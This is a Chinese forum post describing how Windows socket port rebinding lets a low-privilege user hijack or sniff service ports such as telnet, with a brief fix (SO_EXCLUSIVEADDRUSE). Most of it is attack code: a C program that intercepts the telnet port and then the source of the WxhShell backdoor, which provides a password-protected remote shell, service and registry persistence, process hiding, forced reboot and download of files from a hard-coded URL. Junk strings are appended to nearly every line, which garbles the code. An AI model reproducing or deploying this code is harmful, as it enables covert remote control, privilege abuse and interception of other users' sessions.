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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3yDa5q{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c5<M=$  
!iCY!:  
  saddr.sin_family = AF_INET; D>~z{H%\  
xgL*O>l)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UbJ_'>hK6  
*xM4nUu<~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :^1 Xfc"  
\NS\>Q+d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A/W0O;*q  
&voyEvX/S  
  这意味着什么?意味着可以进行如下的攻击:  EP'2'51  
8"LvkN/v^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d>)*!l2,C  
}9aYU;9D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9Rzu0:r.,  
c@~\ FUr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QK% {\qu  
; GRSe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uYhm Fp  
!BP/#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bf-.SX~  
g03I<<|@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -k|r#^(G2  
YbND2 i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8{8J(~  
BYyR-m  
  #include weU'3nNN  
  #include ,Za!  
  #include "e0$/WQ6J  
  #include    R^<li;Km  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7;) T;X  
  int main() p2GkI/6)uu  
  { ly7\H3  
  WORD wVersionRequested; r;g[<6`!S  
  DWORD ret; c]v $C&FX  
  WSADATA wsaData; )AEJ` xC  
  BOOL val; 7$b!-I+ a2  
  SOCKADDR_IN saddr; )/1AF^ E  
  SOCKADDR_IN scaddr; IKMkpX!]  
  int err;  ztKmB  
  SOCKET s; :$~)i?ge<5  
  SOCKET sc; :Gsh  
  int caddsize; b lP@Cn2  
  HANDLE mt; -hiG8%l5  
  DWORD tid;   Wl/oun~o  
  wVersionRequested = MAKEWORD( 2, 2 ); zt/b S/  
  err = WSAStartup( wVersionRequested, &wsaData ); s {p-cV  
  if ( err != 0 ) { l E=(6Q  
  printf("error!WSAStartup failed!\n"); Aw~ =U!  
  return -1; 5I`j'j  
  } 'G;y!<a  
  saddr.sin_family = AF_INET; l=ehoyER  
   1@rI4U@D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VNBf2Va  
S.pL^Ru  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V9&7K65-1  
  saddr.sin_port = htons(23); @E;'Ffo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I(tMw6C$:  
  { 0tyoH3o/d  
  printf("error!socket failed!\n"); X|zQZ<CO  
  return -1; 5Iinen3>  
  } bnHQvCO3$  
  val = TRUE; E w#UlA:"v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *(wkgn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `Sgj!/! F  
  { NbgK# ;  
  printf("error!setsockopt failed!\n"); ntR@[)K  
  return -1; ,' VT75  
  } J<hqF4z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h,%`*Qg6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %3b;`Oa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {9?++G"\  
x-27rGN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [PG#5.jwQ  
  { cHo@F!{o=  
  ret=GetLastError(); WV5z~[  
  printf("error!bind failed!\n"); RN:VsopL  
  return -1; ^u2unZ9BK!  
  } DBTeV-G9~R  
  listen(s,2); <14,xYpE  
  while(1) z`g4<  
  { cPaz-  
  caddsize = sizeof(scaddr); 5SV w71 *  
  //接受连接请求 qZQB"Q.*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D+4oV6}~  
  if(sc!=INVALID_SOCKET) <MK4# I1I  
  { qmmQH S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q9T/@FX  
  if(mt==NULL) .X1xpi%  
  { -Cn x!g}  
  printf("Thread Creat Failed!\n"); Dh+<|6mx  
  break; e^!>W %.7Z  
  } <Wr n/%tL  
  } Y@(izC&h  
  CloseHandle(mt); hW<TP'Zm*  
  } ,zF^^,lO7  
  closesocket(s); #(pY~\  
  WSACleanup(); K&"ZZFd_  
  return 0; LI}@qLe  
  }   3A&: c/  
  DWORD WINAPI ClientThread(LPVOID lpParam) <@.!\  
  { 9 AWFjoXl"  
  SOCKET ss = (SOCKET)lpParam; uKA-<nM._c  
  SOCKET sc; 2I[(UMI$7  
  unsigned char buf[4096]; 6Pp3*O`/V  
  SOCKADDR_IN saddr; hQb3 8W[  
  long num; c)`=wDi  
  DWORD val; L l$,"}0T  
  DWORD ret; l=&\luNz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )U|0vr8:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   99GK6}~TGm  
  saddr.sin_family = AF_INET; QnJd}(yN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h"}c_l Y9  
  saddr.sin_port = htons(23); ~'#yH#o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `g+Kv&546  
  { oUd R,;h9  
  printf("error!socket failed!\n"); jR[b7s  
  return -1; 1j_ 6Sw(  
  } $Wn!vbL  
  val = 100; Oh=E!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GIM'H;XG  
  { GMKY1{   
  ret = GetLastError(); Ghf/IXq#  
  return -1; Lk lD^AJA  
  } ET0^_yk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Lc, w  
  { tk\)]kj  
  ret = GetLastError(); bLsN?_jy  
  return -1; (`"87Xomnn  
  } g1{2E<b 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Pi5($cn  
  { h f{RI4Jc  
  printf("error!socket connect failed!\n"); Ake$M^Bz  
  closesocket(sc); G'T: l("l  
  closesocket(ss); /0YO`])"  
  return -1; X:JU#sI  
  } ;;  ?OS  
  while(1) @(CJT-Ak  
  { \C kb:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kYZj^tR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )}to7r7 `  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PTH'-G  
  num = recv(ss,buf,4096,0); MZvxcr{x  
  if(num>0) rqTsKrLe  
  send(sc,buf,num,0); u= Vt3%q  
  else if(num==0) H~; s$!lG  
  break; n{"e8vQx  
  num = recv(sc,buf,4096,0); c7@[RG !  
  if(num>0) Ay|K>8z   
  send(ss,buf,num,0); *?~&O.R"  
  else if(num==0) v[]&yD  
  break; JIXZI\Fk  
  } `s8!zy+  
  closesocket(ss); : ~Ppv5W.  
  closesocket(sc); LAH.PcjPa  
  return 0 ; cH`ziZ<&m1  
  } r*g<A2g%  
| $D`*  
(/jZ &4T  
========================================================== ,HwOMoP7  
$ S]l%  
下边附上一个代码,,WXhSHELL +:&|]$8<  
'RpX&g  
========================================================== r2=4Wx4(  
"H|hN  
#include "stdafx.h" IN?rPdY  
bE1@RL  
#include <stdio.h> evlz R/  
#include <string.h> zRFvWOxC\  
#include <windows.h> g]9A?#GyE  
#include <winsock2.h> ;v m$F251  
#include <winsvc.h> bG/[mZpRT  
#include <urlmon.h> o{OY1 ;=6  
; mwU>l,4  
#pragma comment (lib, "Ws2_32.lib") "]hQ\b\O  
#pragma comment (lib, "urlmon.lib") ok/{ w  
Fjw+D1q.  
#define MAX_USER   100 // 最大客户端连接数 -5GRit1q?  
#define BUF_SOCK   200 // sock buffer Z`x*Igf8  
#define KEY_BUFF   255 // 输入 buffer 6Gh3r  
*eAzk2  
#define REBOOT     0   // 重启 `J-&Y2_/k  
#define SHUTDOWN   1   // 关机 j'q Iq;y  
-GT&46hX  
#define DEF_PORT   5000 // 监听端口 )BmO[AiOM  
1{?5/F \ +  
#define REG_LEN     16   // 注册表键长度 Bn5$TiTcl  
#define SVC_LEN     80   // NT服务名长度 l [ Navw  
O_^;wey0}?  
// 从dll定义API p_qJI@u8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Iz9b5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aUbmEHFTV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k/ hNap'0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8}{W.np_  
2-_d~~O1N  
// wxhshell配置信息 17+2`@vJgM  
struct WSCFG { >.r> aH  
  int ws_port;         // 监听端口 o|nN0z)b4  
  char ws_passstr[REG_LEN]; // 口令 b>f{o_  
  int ws_autoins;       // 安装标记, 1=yes 0=no qORRpWyx&  
  char ws_regname[REG_LEN]; // 注册表键名 r;8X6C  
  char ws_svcname[REG_LEN]; // 服务名 e<r}{=1w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tlcNGPa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >M^4p   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @<C<rB8R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j S<."a/n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HD153M,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -p[!C I  
v-!^a_3Ui  
}; IRIYj(J  
c&I"&oZ@&  
// default Wxhshell configuration agj_l}=gO  
struct WSCFG wscfg={DEF_PORT, Mh8s@g  
    "xuhuanlingzhe", N~+ e\K6  
    1, WFG`-8_e[I  
    "Wxhshell", Jo4iWJpK  
    "Wxhshell", _7b' i6-  
            "WxhShell Service", y8$I=  
    "Wrsky Windows CmdShell Service", kR65{h"gZT  
    "Please Input Your Password: ", ~;yP{F8?  
  1, WnL7 A:sZ  
  "http://www.wrsky.com/wxhshell.exe", E@_]L<Z  
  "Wxhshell.exe" .A apO}{  
    }; $HP<C>^Z8  
DLd1Cl:"~:  
// 消息定义模块 '|@?R|i0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IM=3n%6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sd+bnq%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~zhP[qA})  
char *msg_ws_ext="\n\rExit."; 5DmW5w'p  
char *msg_ws_end="\n\rQuit."; GL'l "L  
char *msg_ws_boot="\n\rReboot..."; jW;g{5X  
char *msg_ws_poff="\n\rShutdown..."; Pd04  
char *msg_ws_down="\n\rSave to "; [^0 S#,L  
\^x`GsVy  
char *msg_ws_err="\n\rErr!"; T7?cnK"  
char *msg_ws_ok="\n\rOK!"; Sc9}W U  
wf2v9.;X:<  
char ExeFile[MAX_PATH]; D+"+m%^>C  
int nUser = 0; |OBh:d_B]  
HANDLE handles[MAX_USER]; /Jf}~}JP  
int OsIsNt; J=6( 4>  
qyL!>kZr@  
SERVICE_STATUS       serviceStatus; _*fOn@Vwo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U# U*^#  
W9:(P  
// 函数声明 )jGB[s";)y  
int Install(void); `rb}"V+  
int Uninstall(void); #AF.1;(k  
int DownloadFile(char *sURL, SOCKET wsh); d8.A8<wUr  
int Boot(int flag); d-`z1'  
void HideProc(void); s@(ME1j(U!  
int GetOsVer(void); 7x#."6>Dy  
int Wxhshell(SOCKET wsl); X.eocy  
void TalkWithClient(void *cs); K#LDmC  
int CmdShell(SOCKET sock); 97vQM  
int StartFromService(void); Ru@ { b`  
int StartWxhshell(LPSTR lpCmdLine); ffR<G&"n~b  
pvhN.z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ..Bf-)w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zKfY0A R  
c7A]\1 ~  
// 数据结构和表定义 [Gc9 3PA7q  
SERVICE_TABLE_ENTRY DispatchTable[] = ',]^Qu`a  
{ B7( bNr  
{wscfg.ws_svcname, NTServiceMain}, l7#2 e ORm  
{NULL, NULL} S,f:nLT  
}; Y2$xlqQd"  
y wmC>`0p  
// 自我安装 <=]:ED $V@  
int Install(void) 95sK;`rE+  
{ 8*^*iEsR  
  char svExeFile[MAX_PATH]; SW7AG;c=  
  HKEY key; MH/bJtNq  
  strcpy(svExeFile,ExeFile); a xz-H`oq4  
gWfMUl  
// 如果是win9x系统,修改注册表设为自启动 3&zcdwPj  
if(!OsIsNt) { up2wkc8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'u3,+guz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aSIoq}c(  
  RegCloseKey(key); !M}ZK(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]v#T9QQN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z@0IvI  
  RegCloseKey(key); vF9fXY=  
  return 0; lJt?0;gn  
    } f@0Km^aUc  
  } ^1bM=9]F0  
} B z? (?fyd  
else { O+t'E9Fa  
{J-Ojw|Y b  
// 如果是NT以上系统,安装为系统服务 -nY_.fp>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hVh,\d&2t  
if (schSCManager!=0) A'n{K#  
{ _|7bpt9  
  SC_HANDLE schService = CreateService yC[Q-P*rG  
  ( ,zh_-2^X  
  schSCManager, JZ/T:Hsh4  
  wscfg.ws_svcname, HqXS-TG  
  wscfg.ws_svcdisp, R]0tG   
  SERVICE_ALL_ACCESS, x!fgZr{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3*N0oc^m  
  SERVICE_AUTO_START, !:a^f2^=  
  SERVICE_ERROR_NORMAL, nZ[`Yrq)0  
  svExeFile, @_ Tq>tOr&  
  NULL, Tr, zV  
  NULL, WQsu}_g5y  
  NULL, Y?:" nhN  
  NULL, jXIVR'n(  
  NULL 3-BC4y/  
  ); Gm=e;X;r  
  if (schService!=0) LeYI<a@n@$  
  { (?ZS 9&y}  
  CloseServiceHandle(schService); XRi37|p  
  CloseServiceHandle(schSCManager); mp8Zb&Ggb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p MR4]G  
  strcat(svExeFile,wscfg.ws_svcname); g#o9[su  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IGo+O*dMw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >XW-W  
  RegCloseKey(key); oo|Nu+  
  return 0; @ X5#?  
    } Mg&<W#$K  
  } t?Q  
  CloseServiceHandle(schSCManager); ie7P^:T|+  
} nGxG!  
} S2EV[K8#  
x[mh^V5ld  
return 1; Rg3g:TV9c  
} [^gb6W9Y  
6uxF<  
// 自我卸载 r`e6B!p  
int Uninstall(void) omI"xx  
{ W Haf}.V  
  HKEY key; XI"IEwB  
_O&P!hI  
if(!OsIsNt) { qyjVB/ko  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S 9;FD3  
  RegDeleteValue(key,wscfg.ws_regname); j|@8VxZ  
  RegCloseKey(key); {Rn*)D9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (&M,rW~Qxs  
  RegDeleteValue(key,wscfg.ws_regname); #)4p ,H  
  RegCloseKey(key); A-u!{F  
  return 0; umt(e:3f5  
  } Z8Tb43?  
} 8L[\(~Zf  
} !ZY1AhGZ  
else { EjP)e;  
JY%l1:}G3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E,QD6<?[  
if (schSCManager!=0) 79B+8= K  
{ % -.V6}V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^G "Qp8 "  
  if (schService!=0) %&eBkN!T  
  { yF-`f _  
  if(DeleteService(schService)!=0) { Rp>%umDyL  
  CloseServiceHandle(schService); P` y.3aK  
  CloseServiceHandle(schSCManager); >RrG&Wv59  
  return 0; eWXR #g!%>  
  }  WfQZ7e  
  CloseServiceHandle(schService); RY\ 0dv>  
  } =FQH5iSd  
  CloseServiceHandle(schSCManager); :\^jIKvZ  
} 7?8+h  
} KK4rVb:-  
\)W Z D  
return 1; TXqtE("BDl  
} %0vWyU:K9  
3pyE'9"f6  
// 从指定url下载文件 9 $^b^It  
int DownloadFile(char *sURL, SOCKET wsh) `2y?(BJp  
{ E`|vu*l7  
  HRESULT hr; 28j/K=0(  
char seps[]= "/"; f67t.6Vw2+  
char *token; >|mZu)HIY;  
char *file; f,Am;:\ |  
char myURL[MAX_PATH]; ~DS.b-E  
char myFILE[MAX_PATH]; bpa'`sf  
!P gwFJ  
strcpy(myURL,sURL); K*M1$@5  
  token=strtok(myURL,seps); H% FP!03  
  while(token!=NULL) Q~`{^fo1  
  { z~ua#(z1S  
    file=token; &,* ILz  
  token=strtok(NULL,seps);  p+-IvU  
  } aJ[|80U  
+]Ev  
GetCurrentDirectory(MAX_PATH,myFILE); T&j:gg  
strcat(myFILE, "\\"); BW ux!  
strcat(myFILE, file); z}Um$'. =  
  send(wsh,myFILE,strlen(myFILE),0); `chD*@76I  
send(wsh,"...",3,0); *hh9 K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B?4Iu)bCxI  
  if(hr==S_OK) Cv;#8Wj}  
return 0; [rz5tfMp  
else uvi&! )x  
return 1; o3:BH@@  
 3CPSyF  
} X2{Aa T*M  
tjQ6[`  
// 系统电源模块 h+Y>\Cxg  
int Boot(int flag) 5ka6=R(r  
{ t+M'05-U2  
  HANDLE hToken; x+v&3YF  
  TOKEN_PRIVILEGES tkp; w%(D4ldp   
&AVX03P  
  if(OsIsNt) { 7Dw. 9EQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Dn1Eov  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &#OF,_6"m  
    tkp.PrivilegeCount = 1; _>3#dk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5x!rT&!G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PJ,G_+b!  
if(flag==REBOOT) { =Z..&H5i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +W8kMuM!  
  return 0; !Z0S@]C  
} }0]iS8*tL  
else { ^ Z3y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R7c42L\QA  
  return 0; xpI8QV$#  
} n*Hx"2XF  
  } ]ZH6 .@|  
  else { /l8w b~vl  
if(flag==REBOOT) { 1B$8<NCQ=?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8"rK  
  return 0; l9 n$cv^  
} rl-#Ez  
else { g[;&_gL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yM7FR);  
  return 0; B_C."{G  
} uE>m3Y(aP  
} C~PP}|<~V  
65tsJ"a<  
return 1; c?6(mU\x  
} O%<+&Q7  
bNHs jx@  
// win9x进程隐藏模块 Iz&d S?p_  
void HideProc(void) Sg13Dp @x  
{ aM:tg1g  
]qx!51S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <~e*YrJ?-  
  if ( hKernel != NULL ) lq?N>~PG  
  { #v4^,$k>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `W7;-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dvglh?7d  
    FreeLibrary(hKernel); BWr!K5w>i  
  } zLPCWP.u  
|T-Y tuy8  
return; !Nbi&^k B  
} a, `B.I  
~se ;L  
// 获取操作系统版本 9h<iw\ $'  
int GetOsVer(void) (1'sBm7F  
{ ^5+7D1>W%  
  OSVERSIONINFO winfo; K k^!P*#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k"cKxzB  
  GetVersionEx(&winfo); J+`gr_&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) McN'J. Sxp  
  return 1; uL^X$8K;(  
  else F |_mCwA  
  return 0; `g{eWY1l  
} S-brV\v7  
(D+%*ax  
// 客户端句柄模块 aZmbt,.V  
int Wxhshell(SOCKET wsl) 5!6}g<z&L  
{ UYpln[S  
  SOCKET wsh; luz,z( v  
  struct sockaddr_in client; 7K!n'dAi6  
  DWORD myID; D~TK'&  
@d|]BqQ4jh  
  while(nUser<MAX_USER) 7f~7vydZ}  
{ 0b2;  
  int nSize=sizeof(client); ?MiMwVR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ">nFzg?Y  
  if(wsh==INVALID_SOCKET) return 1; d"+ _`d=`  
, - _ReL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); By<~h/uJ  
if(handles[nUser]==0) |8\et  
  closesocket(wsh); XsMETl"Av4  
else p\xsW "=8q  
  nUser++; +R31YR8C0  
  } eh3CVgH91;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PU\@^)$  
>k u7{1)  
  return 0; >JN[5aus  
} 2f 9%HX(5  
C}]rx{xC  
// 关闭 socket =}W)%Hldr.  
void CloseIt(SOCKET wsh) vpk~,D07yR  
{ ,q Bu5t  
closesocket(wsh); zrur-i$N+  
nUser--; }$s._)a  
ExitThread(0); AdRt\H<  
} 0y#TGM|0D  
dJZ 9mP!d  
// 客户端请求句柄 JZcW?Or  
void TalkWithClient(void *cs) ]&L[]  
{ Q__1QUu  
PPNZ(j   
  SOCKET wsh=(SOCKET)cs; B4# gT  
  char pwd[SVC_LEN]; \"A~ks~  
  char cmd[KEY_BUFF]; 79MB_Is]s  
char chr[1]; _ "[O=h:  
int i,j; 9{{CNy p  
rjT!S1Hs  
  while (nUser < MAX_USER) { {I"d"'h  
26c1Yl,DMn  
if(wscfg.ws_passstr) { 'I)E.DoF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p:^;A/D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ed7Hz#Qc  
  //ZeroMemory(pwd,KEY_BUFF); ehls:)F  
      i=0; jo=,j/,l  
  while(i<SVC_LEN) { )`]} D[j  
7~ok*yGw  
  // 设置超时 p\7(IhW@  
  fd_set FdRead; 1)wzSEV@  
  struct timeval TimeOut; $`/J V?Z  
  FD_ZERO(&FdRead); _ ;_NM5  
  FD_SET(wsh,&FdRead); _&6&sp<n  
  TimeOut.tv_sec=8; 8'Ph/L,  
  TimeOut.tv_usec=0; ]w|,n2DG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z"G@I= Q(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nA^UF_rD-  
\)vxZ!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {sL(PS.z  
  pwd=chr[0]; %8yX6`lH  
  if(chr[0]==0xd || chr[0]==0xa) { bPtbU :G  
  pwd=0; bI~(<-S~K  
  break; CEos`  
  } YWPAc>uw,  
  i++; ~;0J 4hR  
    } 3YF*TxKx  
<ib# PLRM  
  // 如果是非法用户,关闭 socket {!hA^[}|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Hl]$sJY  
} nAJ<@a  
niV=Ijt{5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v1Lu.JQC$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OQON~&~  
#:?vpV#i  
while(1) { vxzOG?Xc:  
%vO b"K$X  
  ZeroMemory(cmd,KEY_BUFF); uiIY,FL$  
XZeZqBr  
      // 自动支持客户端 telnet标准   7u Q-:n  
  j=0; L{\au5-4  
  while(j<KEY_BUFF) { s:y=X$&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gs_nUgcA  
  cmd[j]=chr[0]; 'i|z>si[*  
  if(chr[0]==0xa || chr[0]==0xd) { AtN=G"c>_  
  cmd[j]=0; ` AA[k  
  break; F? kW{,*  
  } D@(Y.&_  
  j++; wU#79:h  
    } DM%4 V|F"  
{Ah\-{]  
  // 下载文件 ?2;r#)  
  if(strstr(cmd,"http://")) { .h2K$(/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L s=2!  
  if(DownloadFile(cmd,wsh)) ~'e/lX9g-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >g@;`l.Z#  
  else X'Dg= |  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k 4+F  
  } Brh<6Btl  
  else { &LO<!WKQ  
1Ig@gdmz  
    switch(cmd[0]) { )x-iru A:  
  A|V |vT7cb  
  // 帮助 I% 43rdoPe  
  case '?': { P"%i 4-S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 33_YZOy^j  
    break; }MDuQP]  
  } fMn7E8.  
  // 安装 m Kwhd} V  
  case 'i': { qTnfiYG}  
    if(Install()) Q9N=yz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [EDw0e  
    else 0sq1SHI{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '!64_OMj'  
    break; O&=?,zLO[  
    } !Re/W ykY  
  // 卸载 l|`%FB^k  
  case 'r': { _^'fp  
    if(Uninstall()) 9~DoF]TM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur-&- G^  
    else tnz BNW8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MPMJkL$F^  
    break; /_?E0 r  
    } Rx*T7*xg{  
  // 显示 wxhshell 所在路径 #F.;N<a  
  case 'p': { .!Kdi|a)  
    char svExeFile[MAX_PATH]; HHD4#XcU  
    strcpy(svExeFile,"\n\r"); [1'`KJ]  
      strcat(svExeFile,ExeFile);  gM20n^  
        send(wsh,svExeFile,strlen(svExeFile),0); G6xdGUM  
    break; *A`hKx  
    } FfN==2:b  
  // 重启 6TxZ^&=  
  case 'b': { -<a~kVv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %-|Po:6  
    if(Boot(REBOOT)) b&A+`d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4NMJnX  
    else { Aj.TX%}`h  
    closesocket(wsh); Nhn5 iN1*  
    ExitThread(0); ZVJbpn<lo)  
    } X%xX3e'  
    break; ts3%cRN r  
